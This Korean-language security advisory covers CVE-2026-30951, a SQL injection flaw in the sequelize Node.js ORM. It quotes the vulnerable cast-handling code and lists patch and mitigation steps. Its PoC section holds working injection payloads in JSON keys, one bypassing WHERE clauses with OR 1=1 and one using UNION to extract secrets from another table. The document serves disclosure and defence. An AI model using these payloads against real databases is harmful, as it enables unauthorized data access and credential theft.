1. sequelize

- Oracle, Postgres, MySQL, MariaDB, SQLite, SQL Server 등을 지원하는 TypeScript 및 Node.js 기반 ORM (Object-Relational Mapping) [1]

2. 취약점

[사진 1] CVE-2026-30951 [2]

- JSON 칼럼 처리 시 캐스트 타입(Cast Type) 명령어를 검증 없이 SQL에 그대로 삽입하여 발생하는 SQL Injection 취약점

영향받는 버전
- sequelize 6.37.8 미만 버전

 

- _traverseJSON() 함수는 JSON 데이터에서 유효성 검증 없이 ::를 기준으로 값을 나눠 Cast Type 추출 [3]

src/dialects/abstract/query-generator.js
  _traverseJSON(items, baseKey, prop, item, path) {
    let cast;

    if (path[path.length - 1].includes('::')) {
      const tmp = path[path.length - 1].split('::');
      cast = tmp[1];   // attacker-controlled, no escaping
      path[path.length - 1] = tmp[0];
    }
    ...
    items.push(this.whereItemQuery(this._castKey(pathKey, item, cast), { [Op.eq]: item }));
  }

 

- _castKey() 함수는 _traverseJSON()에서 추출된 cast 문자열을 받아 new Utils.Cast 객체에 할당 [4]
> 해당 객체는 최종적으로 handleSequelizeMethod()에 전달되어 SQL 문장에 직접 삽입됨 [5]

> JSON 경로 값은 jsonPathExtractionQuery() 함수를 통해 이스케이프 처리되지만, CAST는 이스케이프 처리되지 않음

src/dialects/abstract/query-generator.js
  _castKey(key, value, cast, json) {
    cast = cast || this._getJsonCast(Array.isArray(value) ? value[0] : value);
    if (cast) {
      return new Utils.Literal(this.handleSequelizeMethod(new Utils.Cast(new Utils.Literal(key), cast, json)));
    }
    
    ...
    
  handleSequelizeMethod(smth, tableName, factory, options, prepend) {
    ...
      return `CAST(${result} AS ${smth.type.toUpperCase()})`;
    }

 

2.1 PoC

- 조작된 키 값 ('role::text) or 1=1--': 'anything' / 'role::text) and 0 union select id,key,value,null,null from Secrets--': 'x')이 포함된 요청을 전송해 SQL Injection 공격 수행

...
  // TEST 1: WHERE clause bypass
  const r1 = await User.findAll({
    where: { metadata: { 'role::text) or 1=1--': 'anything' } },
    logging: (sql) => console.log('SQL:', sql),
  });
  console.log('OR 1=1:', r1.map(u => u.username));
  // Returns ALL rows: ['alice', 'bob', 'charlie']

  // TEST 2: UNION-based cross-table exfiltration
  const r2 = await User.findAll({
    where: {
      metadata: {
        'role::text) and 0 union select id,key,value,null,null from Secrets--': 'x'
      }
    },
    raw: true,
    logging: (sql) => console.log('SQL:', sql),
  });
  console.log('UNION:', r2.map(r => `${r.username}=${r.metadata}`));
  // Returns: api_key=sk-secret-12345, db_password=super_secret_password
}
...

3. 대응방안

- 벤더사 제공 업데이트 적용 [6]

> 화이트리스트(허용된 데이터 타입 목록) 기반 캐스트 타입 검증 [7]

취약점 제품명 영향받는 버전 해결 버전
CVE-2026-30951 sequelize 6.37.8 미만 6.37.8

 

- 추가 권고
> 소프트웨어 개발 생명주기(SDLC) 초기 단계부터 보안 점검 체계 구축
> CI/CD 파이프라인에서 취약한 라이브러리 버전이 포함될 경우 자동 탐지 및 차단
> 배포 전 단계에서 취약 버전 라이브러리의 서비스 포함 자체를 사전에 제어

4. 참고

[1] https://sequelize.org/
[2] https://nvd.nist.gov/vuln/detail/CVE-2026-30951
[3] https://github.com/sequelize/sequelize/blob/5b7c8015c907b0dfd878ca4a9f28343a3392c307/src/dialects/abstract/query-generator.js#L2635
[4] https://github.com/sequelize/sequelize/blob/5b7c8015c907b0dfd878ca4a9f28343a3392c307/src/dialects/abstract/query-generator.js#L2676
[5] https://github.com/sequelize/sequelize/blob/5b7c8015c907b0dfd878ca4a9f28343a3392c307/src/dialects/abstract/query-generator.js#L2316
[6] https://www.boho.or.kr/kr/bbs/view.do?bbsId=B0000133&pageIndex=1&nttId=71999&menuNo=205020
[7] https://github.com/sequelize/sequelize/blob/cb7f99ad05de56137672ab95586359ff6ceba004/src/dialects/abstract/query-generator.js#L25
[8] https://www.boannews.com/media/view.asp?idx=142575&page=1&kind=1

+ Recent posts